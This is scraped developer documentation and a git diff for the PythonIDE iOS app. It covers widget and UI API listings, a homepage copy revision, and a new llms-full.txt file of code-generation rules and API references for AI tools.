Widget.changetextchange(primary, secondary=None, direction=None)
Widget.columnvstackcolumn(spacing=None, align=None)
Widget.datetimerdate(target=None, style="date")
Widget.dividerdividerdivider(color=None, opacity=None)
Widget.gridgridgrid(columns=2)
Widget.imageimageimage(name, width=None, height=None, corner_radius=None, opacity=None, padding=None, content_mode=None)
Widget.layerzstacklayer(align="center", padding=None, background=None, corner_radius=None)
Widget.linelineChartline(data, labels=None, colors=None)
Widget.linktextlink(title, url, icon=None, color=None)
Widget.listvstacklist(items, title=None, limit=None, empty_text=None, dividers=False)
Widget.metrichstackmetric(label, value, unit=None, icon=None, tone=None, style="plain")
Widget.pathpathpath(points, stroke=None, fill=None, line_width=None, closed=False, height=None, coordinate_space="relative", opacity=None, padding=None, frame=None)
Widget.progressprogressprogress(value, total=1.0, color=None, height=None, track_color=None)
Widget.regionvstackregion(slot="center", spacing=None, align=None)
Widget.relative_timetimerrelative_time(target=None)
Widget.renderlifecyclerender(url=None)
Widget.rich_textrichTextrich_text(parts, size=None, weight=None, color=None, align=None, max_lines=None, design=None, font_width=None, opacity=None, padding=None, frame=None, minimum_scale_factor=None)
Widget.ringringChartring(value, total=1.0, label=None)
Widget.rowhstackrow(spacing=None, align=None)
Widget.sectionvstacksection(title=None, spacing=None, subtitle=None, style=None)
Widget.shapeshapeshape(kind="rectangle", color=None, width=None, height=None, size=None, corner_radius=None, opacity=None, padding=None, frame=None, border_color=None, border_width=None, shadow_color=None, shadow_radius=None, shadow_x=0, shadow_y=2)
Widget.spacerspacerspacer(length=None)
Widget.surfacecardsurface(role="panel", spacing=None, align=None, padding=None, background=None, corner_radius=None, border_color=None, border_width=None, shadow_color=None, shadow_radius=None)
Widget.symboliconsymbol(name)
Widget.texttexttext(content, size=None, weight=None, color=None, align=None, max_lines=None, design=None, font_width=None, opacity=None, padding=None, frame=None, minimum_scale_factor=None)
Widget.timetimertime(target=None)
Widget.timer_texttimertimer_text(target=None)
Widget.titletexttitle(content)
Widget.toggletoggletoggle(title, is_on=False, action=None, url=None, color=None, background=None, size=None, padding=None)
Widget.validatelifecyclevalidate(family=None)
Widget.valuetextvalue(value, unit=None, subtitle=None)
+

Node primitives

+
barChartbuttoncanvascarddivideremojigaugegridhstackiconimagelineChartpathprogressrichTextringChartshapespacersparklinetexttimertogglevstackzstack
+

Modifiers

+
.accessibility.align.background.bar_spacing.baseline.capsule.clip.color.compressed.corner_radius.fill.fixed_size.font.font_style.font_weight.font_width.frame.grid.guide_lines.height.hide.labels.layout_priority.line_limit.line_width.link.mask.mask_view.min_scale.monospaced.offset.opacity.overlay.overlay_view.padding.place.points.segment_colors.shadow.show.slot.soft_background.threshold.tone.track_color.width
+

Compatibility names kept for old scripts, not for new AI output

+
+
+
+ +
+ ui module public exports +
+

Classes

ViewButtonLabelTextFieldTextViewImageViewSwitchSliderSegmentedControlDatePickerScrollViewCanvasViewActivityIndicatorTableViewWebViewNavigationViewButtonItemProgressViewStepperListDataSourceTableViewCellGestureRecognizerTapGestureRecognizerPanGestureRecognizerPinchGestureRecognizerSwipeGestureRecognizerLongPressGestureRecognizerGestureSenderColorFontPathGStateImageContextImagePointSizeRectTransformTouchautoreleasepool

Functions

parse_colorparse_fontset_colorfill_rectstroke_rectdraw_stringbegin_image_contextend_image_contextget_image_from_current_contextget_screen_sizeget_window_sizeget_keyboard_frameget_ui_styleload_viewload_view_strclose_alldump_viewanimatedelaycancel_delaysin_backgroundconvert_pointconvert_rectmeasure_stringset_blend_modeset_shadow

Constants

ALIGN_LEFTALIGN_CENTERALIGN_RIGHTALIGN_JUSTIFIEDALIGN_NATURALLB_WORD_WRAPLB_CHAR_WRAPLB_CLIPLB_TRUNCATE_HEADLB_TRUNCATE_TAILLB_TRUNCATE_MIDDLEKEYBOARD_DEFAULTKEYBOARD_ASCIIKEYBOARD_NUMBERSKEYBOARD_URLKEYBOARD_NUMBER_PADKEYBOARD_PHONE_PADKEYBOARD_NAME_PHONE_PADKEYBOARD_EMAILKEYBOARD_DECIMAL_PADKEYBOARD_TWITTERKEYBOARD_WEB_SEARCHBLEND_NORMALBLEND_MULTIPLYBLEND_SCREENBLEND_OVERLAYBLEND_DARKENBLEND_LIGHTENBLEND_COLOR_DODGEBLEND_COLOR_BURNBLEND_SOFT_LIGHTBLEND_HARD_LIGHTBLEND_DIFFERENCEBLEND_EXCLUSIONBLEND_HUEBLEND_SATURATIONBLEND_COLORBLEND_LUMINOSITYBLEND_CLEARBLEND_COPYBLEND_SOURCE_INBLEND_SOURCE_OUTBLEND_SOURCE_ATOPBLEND_DESTINATION_OVERBLEND_DESTINATION_INBLEND_DESTINATION_OUTBLEND_DESTINATION_ATOPBLEND_XORBLEND_PLUS_DARKERBLEND_PLUS_LIGHTERRENDERING_MODE_AUTOMATICRENDERING_MODE_ORIGINALRENDERING_MODE_TEMPLATELINE_CAP_BUTTLINE_CAP_ROUNDLINE_CAP_SQUARELINE_JOIN_MITERLINE_JOIN_ROUNDLINE_JOIN_BEVELCONTENT_SCALE_ASPECT_FITCONTENT_SCALE_ASPECT_FILLCONTENT_SCALE_TO_FILLCONTENT_REDRAWCONTENT_CENTERCONTENT_TOPCONTENT_BOTTOMCONTENT_LEFTCONTENT_RIGHTCONTENT_TOP_LEFTCONTENT_TOP_RIGHTCONTENT_BOTTOM_LEFTCONTENT_BOTTOM_RIGHTDATE_PICKER_MODE_TIMEDATE_PICKER_MODE_DATEDATE_PICKER_MODE_DATE_AND_TIMEDATE_PICKER_MODE_COUNTDOWNACTIVITY_INDICATOR_STYLE_GRAYACTIVITY_INDICATOR_STYLE_WHITEACTIVITY_INDICATOR_STYLE_WHITE_LARGE
+
+
+ +
+ scene module public exports +
+

Classes

SceneNodeSpriteNodeLabelNodeShapeNodeEffectNodeEmitterNodeActionTextureShaderSceneViewTouchVector2Vector3SizeRectPointEdgeInsetsPhysicsBodyPhysicsWorldContactPinJointSpringJointRopeJoint

Functions

runget_screen_sizeget_screen_scalegravityplay_effectget_image_pathget_controllersget_safe_area_insetsbackgroundfillno_fillstrokeno_strokestroke_weighttintno_tintrectellipselineimagetexttranslaterotatescalepush_matrixpop_matrixblend_modeuse_shaderload_imageload_image_fileload_pil_imagerender_textunload_imageimage_quadtriangle_strip

Constants

BLEND_NORMALBLEND_ADDBLEND_MULTIPLYDEFAULT_ORIENTATIONPORTRAITLANDSCAPETIMING_LINEARTIMING_EASE_INTIMING_EASE_IN_2TIMING_EASE_OUTTIMING_EASE_OUT_2TIMING_EASE_IN_OUTTIMING_SINODIALTIMING_EASE_BACK_INTIMING_EASE_BACK_OUTTIMING_EASE_BACK_IN_OUTTIMING_ELASTIC_INTIMING_ELASTIC_OUTTIMING_ELASTIC_IN_OUTTIMING_BOUNCE_INTIMING_BOUNCE_OUTTIMING_BOUNCE_IN_OUTFILTERING_LINEARFILTERING_NEAREST
+
+
+
+ +
+

Common AI Mistakes

+
+
    +
  • Do not generate tkinter, PyQt, Flask, Streamlit, or browser/server UI for PythonIDE Mini Apps.
  • +
  • Do not invent AppUI view parameters. Check appui_api_schema.json or appui.pyi.
  • +
  • Do not write interactive app flows with widget; widgets are timeline-limited Home Screen surfaces.
  • +
  • Do not call native modules from an AppUI body without user action or permission handling.
  • +
  • Do not use unlisted native modules or assume iOS permissions are already granted.
  • +
+
+
+ +
+

Files For AI And Tools

+

These files are generated or copied from the canonical facts in the repository.

+ +
+
+
+
Copied
+ + + diff --git a/docs/index.html b/docs/index.html index e9dd9e7..a5c16ba 100644 --- a/docs/index.html +++ b/docs/index.html @@ -588,6 +588,7 @@

Python IDE

让编程从电脑走到手机与平板 · Write, Run, Debug on iOS

App Store 免费下载 +📚 文档 / AI 生成 ⭐ GitHub
@@ -595,9 +596,8 @@

Python IDE

Python 3.13 JavaScript ES6+ Swift 5.9 -C 扩展 25+ +C 扩展 12+ SSH 服务器管理 -WebDAV 云盘 预装 Wheels 150+
@@ -608,26 +608,25 @@

🌟 为什么选择 Python IDE

不是把电脑版塞进手机,而是专为触摸屏和移动场景重新设计的编程环境。

🚀

完全本地运行

代码执行不依赖任何服务器,无网络也能用。

-

25+ 个 C 加速包

NumPy、pandas、Matplotlib、Pillow、aiohttp 生态等,10–100 倍加速。

+

12 个 C 扩展

NumPy、Pillow、cryptography 等,10–100 倍加速。

📦

150+ 预装库

常用库开箱即用,搜索 PyPI 在线安装。

🤖

AI Agent

Agent 模式可直接协助处理项目任务,改代码、排查问题、配合远程工作流。

📱

iOS 深度集成

灵动岛、Siri 快捷指令、x-callback-url。

🔒

隐私安全

Face ID 锁定,本地运行,代码不外传。

🎮

2D 游戏引擎

Scene 模块 + SpriteKit,物理引擎、粒子、动画。

📲

桌面小组件

Python 创建 iOS 主屏幕 Widget,声明式布局。

-
🖥️

SSH 与远程文件

SSH2、SFTP 与 WebDAV 云盘;一键部署、实时监控、AI 智能运维。

+
🖥️

SSH 服务器管理

SSH2 加密连接、SFTP 文件管理、一键部署、实时监控、AI 智能运维 — 写完脚本直接部署到服务器。

完全本地运行,无网络也能用
Python 3.13 完整标准库
-
25+ 个预装 C 加速包,10-100x 加速
+
12 个预装 C 扩展,10-100x 加速
150+ 预装 Wheel 库
-
AI Agent 自动写码、跑码、修码
+
AI Agent 协助改代码、排查问题、处理项目任务
灵动岛、Siri、x-callback-url
Scene 2D 游戏引擎 + 物理
Widget 桌面小组件
SSH 服务器管理 + AI 运维
-
WebDAV 云盘 — 远程目录、在线编辑、ETag 防覆盖
@@ -637,7 +636,7 @@

📱 截图展示

首页

首页 · 文件管理、颜色标记、置顶、搜索

编辑器

编辑器 · 语法高亮、智能补全、快捷输入栏

控制台

控制台 · Rich 彩色输出、多控制台切换

-
AI Agent

AI Agent · 14 工具自动操作、Diff 对比、一键修复

+
AI Agent

AI Agent · 项目级协作、Diff 对比、问题修复

库管理

库管理 · PyPI 搜索安装、热门库分类

工具箱

工具箱 · 编解码、JSON、API 调试、正则

HTML 预览

HTML 预览 · 全屏网页渲染、双指缩放

@@ -671,7 +670,6 @@

✨ 核心功能

-
@@ -757,35 +755,19 @@

✨ 核心功能

📡 KeepAlive 心跳,后台不断连
-
-
-
☁️ 坚果云 / NextCloud / 群晖模板 + 自定义服务器
-
📂 远程面包屑、骨架屏、搜索与排序
-
✏️ 远程文本在线编辑 · ETag 冲突检测
-
📤 上传 / 下载到工作区 · 重命名 · 删除 · 新建文件夹
-
☑️ 批量删除 · 批量下载 · 批量移动
-
⭐ 收藏夹快速跳转常用目录
-
🔐 Keychain 存密码 · 自签名证书信任
-
⏱️ 坚果云频率限制保护 · 指数退避
-
-

📚 模块文档

-

内置原生模块与云盘等功能的说明文档在 GitHub 仓库持续更新,以下为常用入口。

+

打开在线文档,或者把同一个链接发给 AI,让它按 PythonIDE 的 AppUI、Widget、scene、ui 和 iOS 原生能力生成代码。

@@ -813,7 +795,7 @@

💬 社区与反馈

☕ 支持开发

App Store 评分 · GitHub Star · 应用内捐赠(棒棒糖 / 鸡腿 / 奶茶)

@@ -835,30 +817,29 @@

☕ 支持开发

heroTitle: "Python IDE", heroTagline: "掌上的 Python & JavaScript 开发环境", heroSub: "让编程从电脑走到手机与平板 · Write, Run, Debug on iOS", btnAppStore: "App Store 免费下载", +btnDocs: "📚 文档 / AI 生成", whyTitle: "🌟 为什么选择 Python IDE?", whySub: "不是把电脑版塞进手机,而是专为触摸屏和移动场景重新设计的编程环境。", bento1Title: "完全本地运行", bento1Desc: "代码执行不依赖任何服务器,无网络也能用。", -bento2Title: "25+ 个 C 加速包", bento2Desc: "NumPy、pandas、Matplotlib、Pillow、aiohttp 生态等,10–100 倍加速。", +bento2Title: "12 个 C 扩展", bento2Desc: "NumPy、Pillow、cryptography 等,10–100 倍加速。", bento3Title: "150+ 预装库", bento3Desc: "常用库开箱即用,搜索 PyPI 在线安装。", bento4Title: "AI Agent", bento4Desc: "Agent 模式可直接协助处理项目任务,改代码、排查问题、配合远程工作流。", bento5Title: "iOS 深度集成", bento5Desc: "灵动岛、Siri 快捷指令、x-callback-url。", bento6Title: "隐私安全", bento6Desc: "Face ID 锁定,本地运行,代码不外传。", bento7Title: "2D 游戏引擎", bento7Desc: "Scene 模块 + SpriteKit,物理引擎、粒子、动画。", bento8Title: "桌面小组件", bento8Desc: "Python 创建 iOS 主屏幕 Widget,声明式布局。", -bento9Title: "SSH 与远程文件", bento9Desc: "SSH2 终端与 SFTP;WebDAV 挂载坚果云 / NextCloud / 群晖;一键部署、实时监控、AI 智能运维。", -why1: "完全本地运行,无网络也能用", why2: "Python 3.13 完整标准库", why3: "25+ 个预装 C 加速包,10-100x 加速", -why4: "150+ 预装 Wheel 库", why5: "AI Agent 写码、跑码、修码、管服务器", why6: "灵动岛、Siri、x-callback-url", +bento9Title: "SSH 服务器管理", bento9Desc: "SSH2 加密连接、SFTP 文件管理、一键部署、实时监控、AI 智能运维 — 写完脚本直接部署到服务器。", +why1: "完全本地运行,无网络也能用", why2: "Python 3.13 完整标准库", why3: "12 个预装 C 扩展,10-100x 加速", +why4: "150+ 预装 Wheel 库", why5: "AI Agent 协助改代码、排查问题、处理项目任务", why6: "灵动岛、Siri、x-callback-url", why7: "Scene 2D 游戏引擎 + 物理", why8: "Widget 桌面小组件", why9: "SSH 服务器管理 + AI 运维", -why10: "WebDAV 云盘 — 远程目录、在线编辑、ETag 防覆盖", -techWebDAV: "WebDAV 云盘", screenshotsTitle: "📱 截图展示", ss1: "首页 · 文件管理、颜色标记、置顶、搜索", ss2: "编辑器 · 语法高亮、智能补全、快捷输入栏", -ss3: "控制台 · Rich 彩色输出、多控制台切换", ss4: "AI Agent · 24 工具自动操作、Diff 对比、SSH 远程运维", +ss3: "控制台 · Rich 彩色输出、多控制台切换", ss4: "AI Agent · 项目级协作、Diff 对比、问题修复", ss5: "库管理 · PyPI 搜索安装、热门库分类", ss6: "工具箱 · 编解码、JSON、API 调试、正则", ss7: "HTML 预览 · 全屏网页渲染、双指缩放", ss8: "Markdown 渲染 · 实时渲染、代码块、表格", ss9: "新建文件 · 多种格式、颜色标记", ss10: "设置 · 外观、AI 配置、应用锁定", featuresTitle: "✨ 核心功能", tabLang: "多语言", tabEditor: "编辑器", tabAI: "AI Agent", tabLibs: "扩展库", tabTools: "工具箱", -tabScene: "游戏引擎", tabWidget: "桌面小组件", tabSSH: "SSH 服务器", tabWebDAV: "WebDAV 云盘", +tabScene: "游戏引擎", tabWidget: "桌面小组件", tabSSH: "SSH 服务器", fLang1: "完整标准库、async/await、多线程", fLang2: "alert/fetch/localStorage、剪贴板桥接", fLang3: "WKWebView 全屏渲染、双指缩放", fEdit1: "语法高亮、Jedi 智能补全", fEdit2: "查找替换、快捷输入栏", fEdit3: "分屏模式、错误跳转", fEdit4: "运行历史、实时保存", fAI1: "🤖 Agent 模式 — 面向项目级任务的执行协作", fAI2: "📋 Plan 模式 — 先规划再动手", @@ -881,16 +862,12 @@

☕ 支持开发

fSSH5: "🚀 一键部署 — 本地脚本直接上传运行", fSSH6: "📊 服务器监控 — CPU / 内存 / 磁盘 / 网络", fSSH7: "⚡ 40+ 预置命令片段(系统 / Docker / Python)", fSSH8: "🤖 AI 辅助服务器诊断、部署与日常运维", fSSH9: "🔧 SSH 密钥生成 / 导入 / 导出", fSSH10: "📡 KeepAlive 心跳,后台不断连", -fWebDAV1: "☁️ 坚果云 / NextCloud / 群晖模板 + 自定义服务器", fWebDAV2: "📂 远程面包屑、骨架屏、搜索与排序", -fWebDAV3: "✏️ 远程文本在线编辑 · ETag 冲突检测", fWebDAV4: "📤 上传 / 下载到工作区 · 重命名 · 删除 · 新建文件夹", -fWebDAV5: "☑️ 批量删除 · 批量下载 · 批量移动", fWebDAV6: "⭐ 收藏夹快速跳转常用目录", -fWebDAV7: "🔐 Keychain 存密码 · 自签名证书信任", fWebDAV8: "⏱️ 坚果云频率限制保护 · 指数退避", docsTitle: "📚 模块文档", -docsSub: "内置原生模块与云盘等功能的说明文档在 GitHub 仓库持续更新,以下为常用入口。", -docsCard1Title: "contacts 模块", -docsCard1Desc: "通讯录、分组、容器、系统联系人 UI、vCard 导入导出、change history", -docsCard2Title: "☁️ WebDAV 云盘", -docsCard2Desc: "远程文件管理、坚果云/NextCloud/群晖模板、在线编辑、冲突检测", +docsSub: "打开在线文档,或者把同一个链接发给 AI,让它按 PythonIDE 的 AppUI、Widget、scene、ui 和 iOS 原生能力生成代码。", +docsCard1Title: "PythonIDE Docs", +docsCard1Desc: "Mini App、小组件、scene、ui、iOS 原生能力和 AI 生成入口", +docsCard2Title: "llms.txt", +docsCard2Desc: "给 ChatGPT、Claude、Gemini 等 AI 工具读取的文档索引", sshTitle: "🖥️ SSH 服务器管理", sshSub: "写完脚本直接部署到服务器 — 完整 SSH2 协议,告别 App 切换。", ssh1Title: "交互式终端", ssh1Desc: "ANSI 256 色、多主题切换(Dracula / Solarized / Monokai)、命令历史、快捷键栏。", ssh2Title: "SFTP 文件管理", ssh2Desc: "远程浏览、在线编辑、上传下载、创建删除、chmod 权限管理。", @@ -908,21 +885,20 @@

☕ 支持开发

heroTitle: "Python IDE", heroTagline: "Python & JavaScript on Your Palm", heroSub: "Write, Run, Debug on iOS · From Desktop to Mobile", btnAppStore: "Download on App Store", +btnDocs: "📚 Docs / AI Generation", whyTitle: "🌟 Why Python IDE?", whySub: "Built for touch and mobile — not a desktop IDE cramped into a phone.", bento1Title: "Fully Local", bento1Desc: "Runs offline. No server dependency.", -bento2Title: "25+ C-accelerated packages", bento2Desc: "NumPy, pandas, Matplotlib, Pillow, aiohttp stack — 10–100× faster.", +bento2Title: "12 C Extensions", bento2Desc: "NumPy, Pillow, cryptography — 10–100× faster.", bento3Title: "150+ Libraries", bento3Desc: "Pre-installed. Search PyPI for more.", bento4Title: "AI Agent", bento4Desc: "Agent mode helps with real project tasks: edit code, investigate issues, and work with remote workflows.", bento5Title: "iOS Native", bento5Desc: "Dynamic Island, Siri, x-callback-url.", bento6Title: "Privacy First", bento6Desc: "Face ID lock. Code stays on device.", bento7Title: "2D Game Engine", bento7Desc: "Scene module + SpriteKit, physics, particles, animations.", bento8Title: "Home Widgets", bento8Desc: "Create iOS widgets with Python, declarative layout.", -bento9Title: "SSH & Remote Files", bento9Desc: "SSH2 terminal & SFTP; WebDAV for Jianguoyun / NextCloud / Synology; one-click deploy, monitoring, AI server ops.", -why1: "Fully local, works offline", why2: "Python 3.13 full stdlib", why3: "25+ C-accelerated packages, 10–100× speed", -why4: "150+ pre-installed wheels", why5: "AI Agent writes, runs, fixes code & manages servers", why6: "Dynamic Island, Siri, x-callback-url", +bento9Title: "SSH Server Manager", bento9Desc: "SSH2 encrypted connections, SFTP, one-click deploy, real-time monitoring, AI-powered server ops.", +why1: "Fully local, works offline", why2: "Python 3.13 full stdlib", why3: "12 C extensions, 10–100× speed", +why4: "150+ pre-installed wheels", why5: "AI Agent helps edit code, diagnose issues, and handle project tasks", why6: "Dynamic Island, Siri, x-callback-url", why7: "Scene 2D game engine + physics", why8: "Widget home screen components", why9: "SSH server management + AI ops", -why10: "WebDAV cloud — remote folders, online edit, ETag conflict safety", -techWebDAV: "WebDAV Cloud", screenshotsTitle: "📱 Screenshots", ss1: "Home · Files, tags, pin, search", ss2: "Editor · Syntax, autocomplete, shortcuts", ss3: "Console · Rich output, multi-console", ss4: "AI Agent · project-wide help, Diff review, issue fixing", @@ -931,7 +907,7 @@

☕ 支持开发

ss9: "New File · Formats, tags", ss10: "Settings · Theme, AI, lock", featuresTitle: "✨ Core Features", tabLang: "Languages", tabEditor: "Editor", tabAI: "AI Agent", tabLibs: "Libraries", tabTools: "Tools", -tabScene: "Game Engine", tabWidget: "Widgets", tabSSH: "SSH Server", tabWebDAV: "WebDAV Cloud", +tabScene: "Game Engine", tabWidget: "Widgets", tabSSH: "SSH Server", fLang1: "Full stdlib, async/await, threading", fLang2: "alert/fetch/localStorage, clipboard", fLang3: "WKWebView, pinch zoom", fEdit1: "Syntax highlighting, Jedi autocomplete", fEdit2: "Find & replace, shortcut bar", fEdit3: "Split view, error jump", fEdit4: "Run history, auto-save", fAI1: "🤖 Agent Mode — execution help for project-level tasks", fAI2: "📋 Plan Mode — design before coding", @@ -954,16 +930,12 @@

☕ 支持开发

fSSH5: "🚀 One-click deploy — upload & run scripts", fSSH6: "📊 Server monitor — CPU / Memory / Disk / Network", fSSH7: "⚡ 40+ preset command snippets", fSSH8: "🤖 AI-assisted diagnostics, deployment, and routine server ops", fSSH9: "🔧 SSH key generate / import / export", fSSH10: "📡 KeepAlive heartbeat, stays connected", -fWebDAV1: "☁️ Jianguoyun / NextCloud / Synology presets + custom server", fWebDAV2: "📂 Breadcrumbs, skeleton UI, search & sort", -fWebDAV3: "✏️ Edit remote text · ETag conflict detection", fWebDAV4: "📤 Upload / download to workspace · rename · delete · mkdir", -fWebDAV5: "☑️ Batch delete · batch download · batch move", fWebDAV6: "⭐ Favorites for quick folder jumps", -fWebDAV7: "🔐 Keychain passwords · trust self-signed certs", fWebDAV8: "⏱️ Jianguoyun rate-limit protection · exponential backoff", docsTitle: "📚 Module Docs", -docsSub: "Native module and cloud feature docs are updated on GitHub. Quick links below.", -docsCard1Title: "contacts module", -docsCard1Desc: "Contacts, groups, containers, system contact UI, vCard import/export, change history", -docsCard2Title: "☁️ WebDAV Cloud", -docsCard2Desc: "Remote files, Jianguoyun/NextCloud/Synology presets, online edit, conflict detection", +docsSub: "Open the online docs, or send the same link to an AI so it can generate PythonIDE AppUI, Widget, scene, ui, and native iOS code.", +docsCard1Title: "PythonIDE Docs", +docsCard1Desc: "Mini Apps, widgets, scene, ui, native iOS capabilities, and AI generation entry point", +docsCard2Title: "llms.txt", +docsCard2Desc: "A compact docs index for ChatGPT, Claude, Gemini, and other AI tools", sshTitle: "🖥️ SSH Server Manager", sshSub: "Deploy scripts to servers instantly — full SSH2 protocol, no app switching.", ssh1Title: "Interactive Terminal", ssh1Desc: "ANSI 256-color, multiple themes (Dracula / Solarized / Monokai), command history, shortcut bar.", ssh2Title: "SFTP File Manager", ssh2Desc: "Browse, edit, upload, download, create, delete, chmod permissions.", diff --git a/docs/llms-full.txt b/docs/llms-full.txt new file mode 100644 index 0000000..7b85316 --- /dev/null +++ b/docs/llms-full.txt @@ -0,0 +1,809 @@ +# PythonIDE Public AI Generation Context + +Canonical docs URL: https://pythonide.xin/docs/ + +## Hard Rules + +- Generate PythonIDE code only. +- Use `appui` for Mini Apps and interactive native UI. +- Use `widget` for iOS Home Screen widgets. +- Use `scene` for 2D scenes and game-style scripts. +- Use `ui` for Pythonista-compatible view scripts. +- Use native modules only when they appear in `native_capabilities_schema.json`. +- Do not invent APIs or parameters. +- Do not use tkinter, PyQt, Flask, Streamlit, web servers, or browser UI frameworks. +- Output one runnable Python file unless the user asks for a package. + +## Mini App Quick Start + +```python +import appui + +state = appui.State(count=0) + +def increase(): + state.batch_update(count=state.count + 1) + +def body(view_state): + return appui.NavigationStack( + appui.VStack([ + appui.Text("Mini App").font("title2").bold(), + appui.Text(f"Count: {view_state.count}").font("title3"), + appui.Button("Increase", action=increase).button_style("bordered_prominent"), + ], spacing=16).padding() + ).navigation_title("Counter") + +appui.run(body, state=state) +``` + +## Widget Quick Start + +```python +import widget + +w = widget.Widget(background="#101820", padding=16) +w.text("PythonIDE", size=18, weight="bold", color="#ffffff") +w.spacer(6) +w.metric("Scripts", "24", unit="ready", tone="accent") +w.progress(0.72, color="#34d399") +w.render() +``` + +## AppUI Complete Public Surface + +- Exported symbols: 118 +- Module functions: `adaptive`, `animate`, `auto_refresh`, `bind`, `call_native`, `computed`, `custom_font`, `dismiss`, `dynamic`, `effect`, `fixed`, `flexible`, `get_native_lib`, `grid_item`, `preload`, `run`, `set_custom_prop` +- Views: `Alert`, `AsyncImage`, `AttributedText`, `Badge`, `Button`, `CameraPicker`, `Canvas`, `Capsule`, `Chart`, `Circle`, `CloseButton`, `Color`, `ColorPicker`, `ConfirmationDialog`, `ContentUnavailableView`, `ControlGroup`, `DatePicker`, `DisclosureGroup`, `Divider`, `EditButton`, `Ellipse`, `FileImporter`, `ForEach`, `Form`, `Gauge`, `GeometryReader`, `Grid`, `GridRow`, `Group`, `GroupBox`, `HStack`, `Image`, `InlinePickerStyle`, `Label`, `LabeledContent`, `LazyHGrid`, `LazyHStack`, `LazyVGrid`, `LazyVStack`, `Link`, `List`, `MapView`, `Menu`, `MultiDatePicker`, `NavigationLink`, `NavigationSplitView`, `NavigationStack`, `Overlay`, `PasteButton`, `Path`, `PhotoPicker`, `Picker`, `Popover`, `ProgressView`, `Rectangle`, `Refreshable`, `RenameButton`, `RoundedRectangle`, `SafeAreaInset`, `ScrollView`, `ScrollViewReader`, `SearchField`, `Section`, `SecureField`, `SegmentedControl`, `ShareLink`, `SignInWithAppleButton`, `Slider`, `Spacer`, `Stepper`, `SwipeActions`, `Tab`, `TabView`, `Table`, `Text`, `TextEditor`, `TextField`, `TextFieldLink`, `TimelineView`, `Toggle`, `ToolbarItem`, `ToolbarSpacer`, `VStack`, `VideoPlayer`, `ViewThatFits`, `WebView`, `WheelPicker`, `ZStack` +- Typed helpers/classes: `DrawingContext`, `NavigationPath`, `ObservableDict`, `ObservableList`, `PersistentState`, `PlayerController`, `Prop`, `ReactiveState`, `Ref`, `State`, `Timer`, `View`, `infinity` +- View modifiers: `.accessibility_hidden`, `.accessibility_label`, `.alert`, `.alignment_guide`, `.animation`, `.aspect_ratio`, `.background`, `.background_extension_effect`, `.badge`, `.blur`, `.bold`, `.border`, `.brightness`, `.button_style`, `.clip_shape`, `.clipped`, `.confirmation_dialog`, `.container_relative_frame`, `.content_margins`, `.content_shape`, `.content_transition`, `.context_menu`, `.contrast`, `.corner_radius`, `.date_picker_style`, `.default_scroll_anchor`, `.disabled`, `.drawing_group`, `.environment`, `.fill`, `.fixed_size`, `.focused`, `.font`, `.foreground_color`, `.foreground_style`, `.frame`, `.full_screen_cover`, `.gauge_style`, `.glass_effect`, `.glass_effect_id`, `.glass_effect_transition`, `.glass_effect_union`, `.grayscale`, `.hidden`, `.high_priority_gesture`, `.id`, `.ignores_safe_area`, `.image_scale`, `.inspector`, `.italic`, `.keyboard_dismiss`, `.layout_priority`, `.line_limit`, `.list_row_background`, `.list_row_insets`, `.list_row_separator`, `.list_style`, `.mask`, `.matched_geometry_effect`, `.minimum_scale_factor`, `.multiline_text_alignment`, `.navigation_bar_back_button_hidden`, `.navigation_bar_title_display_mode`, `.navigation_destination`, `.navigation_title`, `.offset`, `.on_appear`, `.on_disappear`, `.on_drag_gesture`, `.on_drop`, `.on_geometry`, `.on_long_press_gesture`, `.on_magnification_gesture`, `.on_rotation_gesture`, `.on_submit`, `.on_tap_gesture`, `.opacity`, `.overlay`, `.padding`, `.phase_animator`, `.picker_style`, `.popover`, `.position`, `.progress_view_style`, `.refreshable`, `.resizable`, `.rotation_3d_effect`, `.rotation_effect`, `.safe_area_bar`, `.safe_area_inset`, `.saturation`, `.scale_effect`, `.scroll_clip_disabled`, `.scroll_content_background`, `.scroll_edge_effect_hidden`, `.scroll_edge_effect_style`, `.scroll_position`, `.scroll_target_behavior`, `.scroll_target_layout`, `.scroll_transition`, `.search_toolbar_behavior`, `.searchable`, `.sensory_feedback`, `.shadow`, `.sheet`, `.simultaneous_gesture`, `.strikethrough`, `.stroke`, `.submit_label`, `.swipe_actions`, `.symbol_effect`, `.symbol_rendering_mode`, `.tab_bar_minimize_behavior`, `.tab_view_bottom_accessory`, `.tab_view_search_activation`, `.tab_view_style`, `.task`, `.text_field_style`, `.tint`, `.toggle_style`, `.toolbar`, `.toolbar_background`, `.toolbar_color_scheme`, `.transition`, `.truncation_mode`, `.underline`, `.z_index` + +## Widget Complete Public Surface + +- Constants/runtime values: `CIRCULAR`, `INLINE`, `LARGE`, `MEDIUM`, `RECTANGULAR`, `SMALL`, `family`, `params`, `storage` +- Node primitives: `barChart`, `button`, `canvas`, `card`, `divider`, `emoji`, `gauge`, `grid`, `hstack`, `icon`, `image`, `lineChart`, `path`, `progress`, `richText`, `ringChart`, `shape`, `spacer`, `sparkline`, `text`, `timer`, `toggle`, `vstack`, `zstack` +| API | Kind | Signature | +| --- | --- | --- | +| `widget.agent_schema` | helper | `agent_schema()` | +| `widget.cache_json` | helper | `cache_json(url, *, ttl=3600, default=None, params=None, headers=None, key=None, timeout=8)` | +| `widget.family_value` | helper | `family_value(default=None, **values)` | +| `widget.history` | helper | `history(key, value=None, limit=7, *, bucket="day", default=None)` | +| `widget.save_image` | helper | `save_image(source, name)` | +| `widget.validate_layout` | helper | `validate_layout(layout, family=None)` | +| `Widget.background` | layout.background | `background(value)` | +| `Widget.background_image` | layout.backgroundImage | `background_image(asset, content_mode="fill", dim=None, scrim=None, scrim_opacity=None, focal="center", overlay_color="#000000")` | +| `Widget.badge` | text | `badge(text, icon=None, tone="accent", style="plain")` | +| `Widget.bar` | barChart | `bar(data, labels=None, colors=None)` | +| `Widget.body` | text | `body(content)` | +| `Widget.button` | button | `button(title, action=None, url=None, color=None, background=None, size=None, padding=None)` | +| `Widget.canvas` | canvas | `canvas(height=None, coordinate_space="relative", align="center", background=None, padding=None, corner_radius=None, border_color=None, border_width=None, opacity=None, frame=None)` | +| `Widget.caption` | text | `caption(content)` | +| `Widget.change` | text | `change(primary, secondary=None, direction=None)` | +| `Widget.column` | vstack | `column(spacing=None, align=None)` | +| `Widget.date` | timer | `date(target=None, style="date")` | +| `Widget.divider` | divider | `divider(color=None, opacity=None)` | +| `Widget.grid` | grid | `grid(columns=2)` | +| `Widget.image` | image | `image(name, width=None, height=None, corner_radius=None, opacity=None, padding=None, content_mode=None)` | +| `Widget.layer` | zstack | `layer(align="center", padding=None, background=None, corner_radius=None)` | +| `Widget.line` | lineChart | 